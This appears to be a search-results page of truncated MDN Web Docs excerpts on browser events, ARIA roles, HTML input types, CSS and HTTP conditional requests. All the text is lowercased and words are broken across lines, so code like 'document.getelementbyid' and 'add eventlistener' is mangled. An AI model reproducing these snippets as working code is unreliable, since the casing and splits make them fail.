WindowOrWorkerGlobalScope.queueMicrotask() - Web APIs
the queuemicrotask() method, which is exposed on the window or worker interface, queues a microtask to be executed at a safe time prior to control returning to the browser's
event loop. the microtask is a short function which will run after the current task has completed its work and when there is no other code waiting to be run before control of the execution context is returned to the browser's
event loop. this lets your code run without interfering with any other, potentially higher priority, code that is pending, but before the browser regains control over the execution context, potentially depending on work you need to complete. you can learn more about how to use microtasks and why you might choose to do so in our microtask guide. the importance of microtasks comes in its ability to pe...
...orm final cleanup or other just-before-rendering tasks. queuemicrotask() is exposed on the windoworworkerglobalscope mixin. syntax scope.queuemicrotask(function); parameters function a function to be executed when the browser engine determines it is safe to call your code. ...
... executed after all pending tasks have completed but before yielding control to the browser's
event loop. return value undefined. examples self.queuemicrotask(() => { // function contents here }) taken from the queuemicrotask spec: myelement.prototype.loaddata = function (url) { if (this._cache[url]) { queuemicrotask(() => { this._setdata(this._cache[url]); this.dispatch
event(new
event("load")); }); } else { fetch(url).then(res => res.arraybuffer()).then(data => { this._cache[url] = data; this._setdata(data); this.dispatch
event(new
event("load")); }); } }; when queuemicrotask() isn't available the code below is basically a monkey-patch for queuemicrotask() for modern engines. it creates a microtask by using a promise that resolves i...
Worker.prototype.postMessage() - Web APIs
the data may be any value or javascript object handled by the structured clone algorithm, which includes cyclical references. the worker can send back information to the thread that spawned it using the dedicatedworkerglobalscope.postmessage method. syntax worker.postmessage(message, [transfer]); parameters message the object to deliver to the worker; this will be in the data field in the
event delivered to the dedicatedworkerglobalscope.onmessage handler. this may be any value or javascript object handled by the structured clone algorithm, which includes cyclical references. if the message parameter is not provided, a typeerror will be thrown. if the data to be passed to the worker is unimportant, null or undefined can be passed explicitly. transfer optional an optional array of tra...
...rker it was sent to. transferable objects are instances of classes like arraybuffer, messageport or imagebitmap objects that can be transferred. null is not an acceptable value for transfer. returns void. example the following code snippet shows the creation of a worker object using the worker() constructor. when either of two form inputs (first and second) have their values changed, change
events invoke postmessage() to send the value of both inputs to the current worker. var myworker = new worker('worker.js'); first.onchange = function() { myworker.postmessage([first.value,second.value]); console.log('message posted to worker'); } second.onchange = function() { myworker.postmessage([first.value,second.value]); console.log('message posted to worker'); } for a full example, s...
...ode: var myworker = new chromeworker(self.path + 'myworker.js'); function handlemessagefromworker(msg) { console.log('incoming message from worker, msg:', msg); switch (msg.data.atopic) { case 'do_sendmainarrbuff': sendmainarrbuff(msg.data.abuf) break; default: throw 'no atopic on incoming message to chromeworker'; } } myworker.add
eventlistener('message', handlemessagefromworker); // ok lets create the buffer and send it var arrbuf = new arraybuffer(8); console.info('arrbuf.bytelength pre transfer:', arrbuf.bytelength); myworker.postmessage( { atopic: 'do_sendworkerarrbuff', abuf: arrbuf // the array buffer that we passed to the transferrable section 3 lines below }, [ arrbuf // the array bu...
XDomainRequest - Web APIs
requests. properties xdomainrequest.timeout gets or sets the amount of time until a request times out. xdomainrequest.responsetext gets the response body as a string. methods xdomainrequest.open() opens the request, specifing the method (get/post) and url. xdomainrequest.send() sends the request. post data is specified in this method. xdomainrequest.abort() aborts the request.
event handlers xdomainrequest.onprogress a handler for when the request has made progress between the send method call and the onload
event. xdomainrequest.ontimeout a handler for when the request times out. xdomainrequest.onerror a handler for when a request has errored. xdomainrequest.onload a handler for when the full response has been received from the server. example if(window.xdomain...
... security the xdomainrequest is built to be secure in multiple ways. the origin's security protocol must match that of the requ...
...or = function () { //error occurred }; xdr.onload = function() { //success(xdr.responsetext); } settimeout(function () { xdr.send(); }, 0); } note: the xdr.send() call is wrapped in a timeout (see window.settimeout() to pr
event an issue with the interface where some requests are lost if multiple xdomainrequests are being sent at the same time. note: the xdr.onprogress
event should always be defined, even as an empty function, or xdomainrequest may not fire onload for duplicate requests. security the xdomainrequest is built to be secure in multiple ways. the origin's security protocol must match that of the requested url. (http to http, https to https). if these do not match, the request will error "access is denied". the requested url's server must have the a...
XMLDocument - Web APIs
algorithms behave differently with the two types of documents. ...
... position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/
eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">
eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4...
... methods also inherits methods from: document xmldocument.load() loads an xml document. specifications specification status comment domthe definition of 'xmldocument' in that specification. living standa...
XRInputSource - Web APIs
the webxr device api's xrinputsource interface describes a single source of control input which is part of the user's webxr-compatible virtual or augmented reality system. the device is specific to the platform being used, but provides the direction in which it is being aimed and optionally may generate
events if the user triggers performs actions using the device. properties gamepad read only a gamepad object describing the state of the buttons and axes on the xr input source, if it is a gamepad or comparable device. if the device isn't a gamepad-like device, this property's value is null. note: while xrinputsource uses the gamepad interface from the gamepad api, this input device is strictly associated with the webxr hardware and is not a general-purpose gaming device. ...
...le input, such as a hand gesture device that recognizes when the user squeezes their fist, that action is called a primary squeeze action. a primary squeeze action should correspond to a gripping act in reality, such as taking hold of an object or pressing a trigger on a tool or weapon. when a squeeze action begins, such as by the user pressing the trigger or tightening their grip, a squeezestart
event is sent to the xrsession. once the action is completed and the user has released the trigger or the grip, a squeeze
event is sent. this is followed by a squeezeend, which is also sent if the action is aborted rather than completed. if the device has a button or other pressable input control, it is a primary input source, and this button is a primary action. a primary action may occur when the us...
...s aborted rather than completed. if the device has a button or other pressable input control, it is a primary input source, and this button is a primary action. a primary action may occur when the user presses a button, clicks on a touchpad or the top button of a thumb stick, or uses a hand gesture or spoken command that invokes the button-like action. when a primary action begins, a selectstart
event is sent to the xrsession. when the action has completed (such as when the user releases the button), a select
event is sent. finally, once that is done—or if the user aborts the action—a selectend
event is sent to the session object. an action may be aborted either by the user in some device-specific fashion or if the input device is disconnected before the action is completed. local coordi...
Using the link role - Accessibility
te may optionally be used with this role to directly specify the position of the element in the tab order. possible effects on user agents and assistive technology when the link role is added to an element, or such an element becomes visible, the user agent should do the following: expose the element as having a link role in the operating system's accessibility api. fire an accessible link
event using the operating system's accessibility api if it supports it. assistive technology products should listen for such an
event and notify the user accordingly: screen readers should announce the text of the link or its label when it is focused, along with the fact that it is a link. aria links should be included in the screen reader's “list links” function just like ordinary links, and ...
... aria attributes used link related aria techniques button role additional resources aria best practices...
... aria attributes used link related aria techniques button role additional resources aria best practices - link role: http://www.w3.org/tr/wai-aria-practi...
ARIA: checkbox role - Accessibility
alues: true the checkbox is checked false the checkbox is not checked mixed the checkbox is partially checked, or indeterminate tabindex="0" used to make it focusable so the assistive technology user can tab to it and start reading right away. ...
...checkbox()" onkeypress="changecheckbox()" tabindex="0" aria-labelledby="chk1-label"></span> <label id="chk1-label" onclick="changecheckbox()" onkeypress="changecheckbox()">remember my preferences</label> css [role="checkbox"] { padding:5px; } [aria-checked="true"]::before { content: "[x]"; } [aria-checked="false"]::before { content: "[ ]"; } javascript function changecheckbox(
event) { let item = document.getelementbyid('chkpref'); switch(item.getattribute('aria-checked')) { case "true": item.setattribute('aria-checked', "false"); break; case "false": item.setattribute('aria-checked', "true"); break; } } accessibility concerns when the checkbox role is added to an element, the user agent should d...
... break; case "false": item.setattribute('aria-checked', "true"); break; } } accessibility concerns when the checkbox role is added to an element, the user agent should do the following: expose the element as having a checkbox role in the operating system's accessibility api. when the aria-checked value changes, send an accessible state changed
event. assistive technology products should do the following: screen readers should announce the element as a checkbox, and optionally provide instructions on how to activate it. note: opinions may differ on how assistive technology should handle this technique. the information provided above is one of those opinions and therefore not normative. best practices the first rule of aria is: if a n...
ARIA: textbox role - Accessibility
the textbox role is used to identify an element that allows the input of free-form text. whenever possible, rather than using this role, use an <input> element with type="text", for single-line input, or a <textarea> element for multi-line input. description when an element has the textbox role, the browser sends an accessible textbox
event to assistive technologies, which can then notify the user about it. the default is a single line input, in which return or enter submits the form; in this case, it is preferable to use an html <input> with type="text". to create a multi-line text box which supports line breaks, as in an html <textarea>, set aria-multiline="true". including the html contenteditable attribute ensures the text node is editable. <!-- simple text input field --> <div id="txt...
...in a single-line use (when aria-multiline is false or not used), the return or enter key submits the form. in a multi-line use (when aria-multiline is true), return or enter key inserts a line break. javascript features all features associated with any and all properties and states must be maintained, and forms submission on enter or return on a single line textbox needs to be handled. focus
event handler and aria-activedescendent attribute if you are implementing a composite widget, such as a combobox composed of a text box and a listbox, you need to manage the aria-activedescendent attribute using a handler. before using this technique, ensure that the browsers you need to target currently support it. see the specification of aria-descendent for further information. it is a better pr...
...ither semantic element, the aria textbox role is not necessary. see notes on using aria in html. possible effects on user agents and assistive technology when the textbox role is added to an element, or such an element becomes visible, the user agent should do the following: expose the element as having a textbox role in the operating system's accessibility api. fire an accessible textbox
event using the operating system's accessibility api if it supports it. assistive technology products should listen for such an
event and notify the user accordingly: screen readers should announce its label and role when focus first lands on a textbox. if it also contains content, this should be announced as with a regular textbox. screen magnifiers may enlarge the textbox. note: opinions may ...
Web accessibility for seizures and physical reactions - Accessibility
overview seizures seizures caused by light are known as photosensitive epilepsy. content that flickers, flashes, or blinks can trigger photosensitive epilepsy. web technologies that use video, animated gifs, animated pngs, animated svgs, canvas, and css or javascript animations are all capable of content that can induce seizures or other incapacitating physical reactions. ...
... pieces of music can also trigger what are called musicogenic seizures, although these types of seizures seem to be much more rare. for a great introduction on the topic of musicogenic seizures, visit epilepsy ontario's web page on musicogenic seizures. seizures and epilepsy are not the same. in its article, "a revised definition of epilepsy" the epilepsy foundation notes that…"a seizure is an
event and epilepsy is the disease involving recurrent unprovoked seizures." according to the epilepsy foundation's page "how serious are seizures?" , "sudden unexpected death in epilepsy (sudep) is likely the most common disease-related cause of death in with epilepsy. it is not frequent but it is a very real problem and people need to be aware of its risk". the point is, seizures most definitely can ...
...educe legibility. putting the amount of contrast in the user's control is a definite gift for accessibility. prefers-reduced-transparency the prefers-reduced-transparency media feature is used to detect if the user has requested the system minimize the amount of transparent or translucent layer effects it uses. mediaquerylist interface section 4.2 from the csswg.org drafts integrates with the
event loop defined in html. [html] for the mediaquerylist object. see the mdn document, mediaquerylist for more information. personalization help and support the requirement for the literal property is taken from section 23 non-literal text and images requirement: some users cannot understand non-literal text and icons such as metaphors, idioms etc. the literal property is intended to identify text ...
CSS Animations tips and tricks - CSS: Cascading Style Sheets
e repaint, the style recomputation hasn't actually happened yet! so... our callback cleverly calls requestanimationframe() a second time! this time, the callback is run before the next repaint, which is after the style recomputation has occurred. this callback adds the "changing" class back onto the box, so that the repaint will start the animation once again. of course, we also need to add an
event handler to our "run" button so it'll actually do something: document.queryselector(".runbutton").add
eventlistener("click", play, false); result stopping an animation simply removing the animation-name applied to an element will make it jump or cut to its next state. if instead you'd like the animation to complete and then come to a stop you have to try a different approach. the main tricks ...
... then come to a stop you have to try a different approach. the main tricks are: make your animation as self-contained as possible. this means you should not rely on animation-direction: alternate. instead you should explicitly write a keyframe animation that goes through the full animation in one forward repetition. use javascript and clear the animation being used when the animationiteration
event fires. the following demo shows how you'd achieve the aforementioned javascript technique: .slidein { animation-duration: 5s; animation-name: slidein; animation-iteration-count: infinite; } .stopped { animation-name: none; } @keyframes slidein { 0% { margin-left: 0%; } 50% { margin-left: 50%; } 100% { margin-left: 0%; } } <h1 id="watchme">click me to stop</h...
...mation-iteration-count: infinite; } .stopped { animation-name: none; } @keyframes slidein { 0% { margin-left: 0%; } 50% { margin-left: 50%; } 100% { margin-left: 0%; } } <h1 id="watchme">click me to stop</h1> let watchme = document.getelementbyid('watchme') watchme.classname = 'slidein' const listener = (e) => { watchme.classname = 'slidein stopped' } watchme.add
eventlistener('click', () => watchme.add
eventlistener('animationiteration', listener, false) ) demo https://jsfiddle.net/morenoh149/5ty5a4oy/ ...
Using media queries - CSS: Cascading Style Sheets
t in a comma-separated list of queries, it will only negate the specific query to which it is applied. if you use the not operator, you must also specify a media type. note: in level 3, the not keyword can't be used to negate an individual media feature expression, only an entire media query. only the only operator is used to apply a style only if an entire query matches, and is useful for pr
eventing older browsers from applying selected styles. when not using only, older browsers would interpret the query screen and (max-width: 500px) simply as screen, ignoring the remainder of the query, and applying its styles on all screens. if you use the only operator, you must also specify a media type. , (comma) commas are used to combine multiple media queries into a single rule. each query in a...
...o a comma-separated list; this allows you to apply the same styles in different situations. in the previous example, we've already seen the and operator used to group a media type with a media feature. the and operator can also combine multiple media features into a single media query. the not operator, meanwhile, negates a media query, basically reversing its normal meaning. the only operator pr
events older browsers from applying the styles. note: in most cases, the all media type is used by default when no other type is specified. however, if you use the not or only operators, you must explicitly specify a media type. combining multiple types or features the and keyword combines a media feature with a media type or other media features. this example combines two media features to restri...
... evaluated like this: @media not (all and (monochrome)) { ... } ... rather than like this: @media (not all) and (monochrome) { ... } as another example, the following media query: @media not screen and (color), print and (color) { ... } ... is evaluated like this: @media (not (screen and (color))), print and (color) { ... } improving compatibility with older browsers the only keyword pr
events older browsers that do not support media queries with media features from applying the given styles. it has no effect on modern browsers. @media only screen and (color) { ... } syntax improvements in level 4 the media queries level 4 specification includes some syntax improvements to make media queries using features that have a "range" type, for example width or height, less verbose. level ...
overscroll-behavior - CSS: Cascading Style Sheets
he default scroll overflow behavior occurs as normal. contain default scroll overflow behavior is observed inside the element this value is set on (e.g. "bounce" effects or refreshes), but no scroll chaining occurs to neighbouring scrolling areas, e.g. underlying elements will not scroll. ...
..., e.g. underlying elements will not scroll. none no scroll chaining occurs to neighbouring scrolling areas, and default scroll overflow behavior is pr
evented. formal definition initial valueautoapplies tonon-replaced block-level elements and non-replaced inline-block elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax [ contain | none | auto ]{1,2} examples pr
eventing an underlying element from scrolling in our overscroll-behavior example (see the source code also), we present a full-page list of fake contacts, and a dialog box containing a chat window. both of these areas scroll; normally if you scrolled the chat window until you hit a scroll boundary, the underlying contacts window would start to scroll too, which is not desirable. this can be stoppe...
...topped using overscroll-behavior-y (overscroll-behavior would also work) on the chat window, like this: .messages { height: 220px; overflow: auto; overscroll-behavior-y: contain; } we also wanted to get rid of the standard overscroll effects when the contacts are scrolled to the top or bottom (e.g. chrome on android refreshes the page when you scroll past the top boundary). this can be pr
evented by setting overscroll-behavior: none on the <body> element: body { margin: 0; overscroll-behavior: none; } specifications specification status comment css overscroll behavior module level 1the definition of 'overscroll-behavior' in that specification. working draft ...
Media buffering, seeking, and time ranges - Developer guides
= document.getelementbyid('my-audio'); var mycanvas = document.getelementbyid('my-canvas'); var context = mycanvas.getcontext('2d'); context.fillstyle = 'lightgray'; context.fillrect(0, 0, mycanvas.width, mycanvas.height); context.fillstyle = 'red'; context.strokestyle = 'white'; var inc = mycanvas.width / myaudio.duration; // display timeranges myaudio.add
eventlistener('seeked', function() { for (i = 0; i < myaudio.buffered.length; i++) { var startx = myaudio.buffered.start(i) * inc; var endx = myaudio.buffered.end(i) * inc; var width = endx - startx; context.fillrect(startx, 0, width, mycanvas.height); context.rect(startx, 0, width, mycanvas.height); context.stroke(); } }); } this wor...
...ock; height: 100%; background-color: #777; width: 0; } .progress { margin-top: -20px; height: 20px; position: relative; width: 300px; } #progress-amount { display: block; height: 100%; background-color: #595; width: 0; } and the following javascript provides our functionality: window.onload = function(){ var myaudio = document.getelementbyid('my-audio'); myaudio.add
eventlistener('progress', function() { var duration = myaudio.duration; if (duration > 0) { for (var i = 0; i < myaudio.buffered.length; i++) { if (myaudio.buffered.start(myaudio.buffered.length - 1 - i) < myaudio.currenttime) { document.getelementbyid("buffered-amount").style.width = (myaudio.buffered.end(myaudio.buffered.length - 1 - i) / duration) * 100 + "...
...f (duration > 0) { for (var i = 0; i < myaudio.buffered.length; i++) { if (myaudio.buffered.start(myaudio.buffered.length - 1 - i) < myaudio.currenttime) { document.getelementbyid("buffered-amount").style.width = (myaudio.buffered.end(myaudio.buffered.length - 1 - i) / duration) * 100 + "%"; break; } } } }); myaudio.add
eventlistener('timeupdate', function() { var duration = myaudio.duration; if (duration > 0) { document.getelementbyid('progress-amount').style.width = ((myaudio.currenttime / duration)*100) + "%"; } }); } the progress
event is fired as data is downloaded, this is a good
event to react to if we want to display download or buffering progress. the timeupdate
event is fired 4 times a...
Writing forward-compatible websites - Developer guides
reak when new browser versions are released. this is especially important for intranets and other non-public websites; if we can't see your code, we can't see that it broke. it's not always possible to follow all of these, but following as many of them as possible will help future-proof your website. javascript prefix all global variable access in onfoo attributes with “window.” when an
event handler content attribute (onclick, onmouseover, and so forth) is used on html element, all name lookup in the attribute first happens on the element itself, then on the element's form if the element is a form control, then on the document, and then on the window (where the global variables you have defined are). for example, if you have this markup: <div onclick="alert(ownerdocument)">click me<...
...rol, then on the document, and then on the window (where the global variables you have defined are). for example, if you have this markup: <div onclick="alert(ownerdocument)">click me</div> then clicking on the text alerts the ownerdocument of the div. this happens even if there is a var ownerdocument declared in global scope. what this means is that any time you access a global variable in an
event handler content attribute, including calling any function declared globally, you can end up with a name collision if a specification adds a new dom property to elements or documents which has the same name as your function or variable, and a browser implements it. if that happens, then suddenly your function stops being called. this has happened multiple times to various sites already during the ...
...king in the future. unfortunately, libraries are common transgressors of these guidelines. sniffing sniff for specific features if you plan to use some feature, use object-detection to sniff for that exact feature, if possible. as a simple example, don't assume that any browser in which "filter" in body.style tests true must be microsoft internet explorer and therefore e.g. will have a window.
event object available in
event handlers. don't assume that browsers with support for a given dom feature must also have some other, especially nonstandard, dom feature. or, conversely, that they don't have support for some other feature (e.g., don't assume that a browser that supports onload on script elements will never support onreadystatechange on them). as browsers converge behavior, they both add...
disabled - HTML: Hypertext Markup Language
te, when present, makes the element not mutable, focusable, or even submitted with the form. the user can neither edit nor focus on the control, nor it's form control descendants. if the disabled attribute is specified on a form control, the element and its form control descendants do not participate in constraint validation. often browsers grey out such controls and it won't receive any browsing
events, like mouse clicks or focus-related ones. the disabled attribute is supported by <button>, <command>, <fieldset>, <keygen>, <optgroup>, <option>, <select>, <textarea> and <input>. this boolean disabled attribute indicates that the user cannot interact with the control or it's descendant controls. if this attribute is not specified, the control inherits its setting from the containing element, ...
... note: if a <fieldset> is disabled, the descendant form controls are all disabled, with the exception of form controls within the <legend>. when a supporting element has the disabled attribute applied, the :disabled pseudo-class also applies to it. conversely, elements that support the disabled attribute but don't have the attribute set match the :enabled pseudo-class. this boolean attribute pr
events the user from interacting with the button. if this attribute isn't set, the button can still be disabled from a containing element, for example <fieldset>; if there is no containing element with the disabled attribute set, then the button is enabled. firefox will, unlike other browsers, persist the dynamic disabled state of a <button> across page loads. use the autocomplete attribute to control...
...ed attribute also specified. additionally, since the elements become immutable, most other attributes, such as pattern, have no effect, until the control is enabled. note: the required attribute is not permitted on inputs with the disabled attribute specified. usability browsers display disabled form controls greyed as disabled form controls are immutable, won't receive focus or any browsing
events, like mouse clicks or focus-related ones, and aren't submitted with the form. if present on a supporting elements, the :disabled pseudo class will match. if the attribute is not included, the :enabled pseudo class will match. if the element doesn't support the disabled attribute, the attribute will have no effect, including not leading to being matched by the :disabled and :enabled pseudo class...
<img>: The Image Embed element - HTML: Hypertext Markup Language
bp .webp chrome, edge, firefox, opera the abbreviation for each format links to a longer description of the format, its capabilities, and detailed browser compatibility information; including which versions introduced support and specific special features that may have been introduced later. image loading errors if an error occurs while loading or rendering an image, and an onerror
event handler has been set on the error
event, that
event handler will get called. this can happen in a number of situations, including: the src attribute is empty ("") or null. the src url is the same as the url of the page the user is currently on. the image is corrupted in some way that pr
events it from being loaded. the image's metadata is corrupted in such a way that it's impossible to retri...
...the fetching of the image must be done using a cors request. image data from a cors-enabled image returned from a cors request can be reused in the <canvas> element without being marked "tainted". if the crossorigin attribute is not specified, then a non-cors request is sent (without the origin request header), and the browser marks the image as tainted and restricts access to its image data, pr
eventing its usage in <canvas> elements. if the crossorigin attribute is specified, then a cors request is sent (with the origin request header); but if the server does not opt into allowing cross-origin access to the image data by the origin site (by not sending any access-control-allow-origin response header, or by not including the site's origin in any access-control-allow-origin response header i...
... allowed values: anonymous a cors request is sent with credentials omitted (that is, no cookies, x.509 certificates, or authorization request header). use-credentials the cors request is sent with any credentials included (that is, cookies, x.509 certificates, and the authorization request header). if the server does not opt into sharing credent...
<input type="file"> - HTML: Hypertext Markup Language
o a server using form submission, or manipulated using javascript code and the file api. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. value a domstring representing the path to the selected file. ...
...e first file in the list of files they selected. the other files can be identified using the input's htmlinputelement.files property. note: if multiple files are selected, the string represents the first selected file. javascript can access the other files through the input's files property. if no file is yet selected, the string is "" (empty). the string is prefixed with c:\fakepath\, to pr
event malicious software from guessing the user's file structure. additional attributes in addition to the common attributes shared by all <input> elements, inputs of type file also support the following attributes: attribute description accept one or more unique file type specifiers describing file types to allow capture what source to use for capturing ima...
...l know to interact with it if they want to upload files. const input = document.queryselector('input'); const preview = document.queryselector('.preview'); input.style.opacity = 0; note: opacity is used to hide the file input instead of visibility: hidden or display: none, because assistive technology interprets the latter two styles to mean the file input isn't interactive. next, we add an
event listener to the input to listen for changes to its selected value changes (in this case, when files are selected). the
event listener invokes our custom updateimagedisplay() function. input.add
eventlistener('change', updateimagedisplay); whenever the updateimagedisplay() function is invoked, we: use a while loop to empty the previous contents of the preview <div>. grab the filelist object t...
<input type="number"> - HTML: Hypertext Markup Language
a fingertip. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. on browsers that don't support inputs of type number, a number input falls back to type text. value any floating-point number, or empty.
events change and input supported common attributes autocomplete, list, placeholder, readonly idl attributes list, value, valueasnumber methods select(), stepup(), stepdown() value any floating-point number, or empty. you can set a default value for the input by including a number inside the value attribute, like so: <input id="number" type="number" value...
...; } and finally, the javascript: let metersinputgroup = document.queryselector('.metersinputgroup'); let feetinputgroup = document.queryselector('.feetinputgroup'); let metersinput = document.queryselector('#meters'); let feetinput = document.queryselector('#feet'); let inchesinput = document.queryselector('#inches'); let switchbtn = document.queryselector('input[type="button"]'); switchbtn.add
eventlistener('click', function() { if(switchbtn.getattribute('class') === 'meters') { switchbtn.setattribute('class', 'feet'); switchbtn.value = 'enter height in meters'; metersinputgroup.style.display = 'none'; feetinputgroup.style.display = 'block'; feetinput.setattribute('required', ''); inchesinput.setattribute('required', ''); metersinput.removeattribute('required'...
...this is pretty simple, mostly involving changing over the button's class and <label>, and updating the display values of the two sets of inputs when the button is pressed. (note that we're not converting back and forth between meters and feet/inches here, which a real-life web application would probably do.) note: when the use...
<input type="password"> - HTML: Hypertext Markup Language
the small size of keys and the ease with which the wrong one can be pressed, especially on virtual keyboards. note: any forms involving sensitive information like passwords (e.g. login forms) should be served over https; many browsers now implement mechanisms to warn against insecure login forms; see insecure passwords. ...
...ngs in use). this does not set a limit on how many characters the user can enter into the field. it only specifies approximately how many can be seen at a time. to set an upper limit on the length of the input data, use the maxlength attribute. using password inputs password input boxes generally work just like other textual input boxes; the main difference is the obscuring of the content to pr
event people near the user from reading the password. a simple password input here we see the most basic password input, with a label established using the <label> element. <label for="userpassword">password: </label> <input id="userpassword" type="password"> allowing autocomplete to allow the user's password manager to automatically enter the password, specify the autocomplete attribute. for pa...
...store features trying to set its value, since this isn't a password at all. javascript this is just some simple code to display the entered ssn onscreen so you can see it. obviously this defeats the purpose of a password field, but it's helpful for experimenting with the pattern. var ssn = document.getelementbyid("ssn"); var current = document.getelementbyid("current"); ssn.oninput = function(
event) { current.innerhtml = ssn.value; } result specifications specification status comment html living standardthe definition of '<input type="password">' in that specification. living standard initial definition html 5.1the definition of '<input type="password">' in that specification. recommendation initial definition ...
<input type="radio"> - HTML: Hypertext Markup Language
buttons, but with an important distinction: radio buttons are designed for selecting one value out of a set, whereas checkboxes let you turn individual values on and off. where multiple controls exist, radio buttons allow one to be selected out of them all, whereas checkboxes allow multiple values to be selected. value a domstring representing the value of the radio button.
events change and input supported common attributes checked and value idl attributes checked and value methods select() value the value attribute is a domstring containing the radio button's value. the value is never shown to the user by their user agent. instead, it's used to identify which radio button in a group is selected. defining a radio group a r...
... <input type="radio" id="contactchoice2" name="contact" value="phone"> <label for="contactchoice2">phone</label> <input type="radio" id="contactchoice3" name="contact" value="mail"> <label for="contactchoice3">mail</label> </div> <div> <button type="submit">submit</button> </div> </form> <pre id="log"> </pre> then we add some javascript to set up an
event listener on the submit
event, which is sent when the user clicks the "submit" button: var form = document.queryselector("form"); var log = document.queryselector("#log"); form.add
eventlistener("submit", function(
event) { var data = new formdata(form); var output = ""; for (const entry of data) { output = output + entry[0] + "=" + entry[1] + "\r"; }; log.innertext = output;
event...
...stener on the submit
event, which is sent when the user clicks the "submit" button: var form = document.queryselector("form"); var log = document.queryselector("#log"); form.add
eventlistener("submit", function(
event) { var data = new formdata(form); var output = ""; for (const entry of data) { output = output + entry[0] + "=" + entry[1] + "\r"; }; log.innertext = output;
event.pr
eventdefault(); }, false); try this example out and see how there's never more than one result for the contact group. additional attributes in addition to the common attributes shared by all <input> elements, radio inputs support the following attributes: attribute description checked a boolean indicating whether or not this radio button is the currently-selected item ...
<input type="time"> - HTML: Hypertext Markup Language
es, based on system locale. an "x" button is provided to clear the control's value. 12-hour 24-hour edge the edge time control is somewhat more elaborate, opening up an hour and minute picker with sliding reels. it, like chrome, uses a 12- or 24-hour format for inputting times, based on system locale: 12-hour 24-hour value a domstring representing a time, or empty.
events change and input supported common attributes autocomplete, list, readonly, and step idl attributes value, valueasdate, valueasnumber, and list. methods select(), stepdown(), and stepup(). value a domstring containing the value of the time entered into the input. you can set a default value for the input by including a valid time in the value attrib...
...t as we've seen before, but with the addition of a <p> element with a <span> to display the value of the time input: <form> <label for="starttime">start time: </label> <input type="time" id="starttime"> <p> value of the <code>time</code> input: <code> "<span id="value">n/a</span>"</code>. ...
.../span>"</code>. </p> </form> the javascript code adds code to the time input to watch for the input
event, which is triggered every time the contents of an input element change. when this happens, the contents of the <span> are replaced with the new value of the input element. var starttime = document.getelementbyid("starttime"); var valuespan = document.getelementbyid("value"); starttime.add
eventlistener("input", function() { valuespan.innertext = starttime.value; }, false); when a form including a time input is submitted, the value is encoded before being included in the form's data. the form's data entry for a time input will always be in the form name=hh%3amm, or name=hh%3amm%3ass if seconds are included (see using the step attribute). additional attributes in addition to the at...
Standard metadata names - HTML: Hypertext Markup Language
notes: though unstandardized, this declaration is respected by most mobile browsers due to de-facto dominance. the default values may vary between devices and browsers. to learn about this declaration in firefox for mobile, see this article. accessibility concerns with viewport scaling disabling zooming capabilities by setting user-scalable to a value of no pr
events people experiencing low vision conditions from being able to read and understand page content. mdn understanding wcag, guideline 1.4 explanations understanding success criterion 1.4.4 | w3c understanding wcag 2.0 see also the @viewport css at-rule. other metadata names the whatwg wiki metaextensions page contains a large set of non-standard metadata names that have not be...
...he page (default). all nofollow requests the robot to not follow the links on the page. all all equivalent to index, follow google none equivalent to noindex, nofollow google noarchive requests the search engine not to cache the page content. google, yahoo, bing nosnippet pr
events displaying any description of the page in search engine results. google, bing noimageindex requests this page not to appear as the referring page of an indexed image. google nocache synonym of noarchive. bing notes: only cooperative robots follow these rules. do not expect to pr
event e-mail harvesters with them. the ...
...google, bing noimageindex requests this page not to appear as the referring page of an indexed image. google nocache synonym of noarchive. bing notes: only cooperative robots follow these rules. do not expect to pr
event e-mail harvesters with them. the robot still needs to access the page in order to read these rules. to pr
event bandwidth consumption, use a robots.txt file. if you want to remove a page, noindex will work, but only after the robot visits the page again. ensure that the robots.txt file is not pr
eventing revisits. some values are mutually exclusive, like index and noindex, or follow and nofollow. in these cases the robot's behaviour is undefined and may vary between them. some crawler robots, like ...
<template>: The Content Template element - HTML: Hypertext Markup Language
tbody.appendchild(clone2); } else { // find another way to add the rows to the table because // the html template element is not supported. ...
...not a valid target for various
events, as such it is often preferable to clone or refer to the elements within it. ...
...ithin it. consider the following html and javascript: html <div id="container"></div> <template id="template"> <div>click me</div> </template> javascript const container = document.getelementbyid("container"); const template = document.getelementbyid("template"); function clickhandler(
event) { alert("clicked a div"); } const firstclone = template.content.clonenode(true); firstclone.add
eventlistener("click", clickhandler); container.appendchild(firstclone); const secondclone = template.content.firstelementchild.clonenode(true); secondclone.add
eventlistener("click", clickhandler); container.appendchild(secondclone); result firstclone is a documentfragment instance, so while it gets appended inside the container as expected, clicking on it does not trigger the click
event. secondclo...
HTTP conditional requests - HTTP
http has a concept of conditional requests, where the result, and even the success of a request, can be changed by comparing the affected resources with the value of a validator. such requests can be useful to validate the content of a cache, and sparing a useless control, to verify the integrity of a document, like when resuming a download, or when pr
eventing to lose updates when uploading or modifying a document on the server. principles http conditional requests are requests that are executed differently, depending on the value of specific headers. these headers define a precondition, and the result of the request will be different if the precondition is matched or not. the different behaviors are defined by the method of the request used, and by the set of headers used for a preconditio...
...y sending the accept-ranges header. once this happens, the client can resume a download by sending a ranges header with the missing ranges: the principle is simple, but there is one potential problem: if the downloaded resource has been modified between both downloads, the obtained ranges will correspond to two different versions of the resource, and the final document will be corrupted. to pr
event this, conditional requests are used. for ranges, there are two ways of doing this. the more flexible one makes use of if-unmodified-since and if-match and the server returns an error if the precondition fails; the client then restarts the download from the beginning: even if this method works, it adds an extra response/request exchange when the document has been changed. this impairs performan...
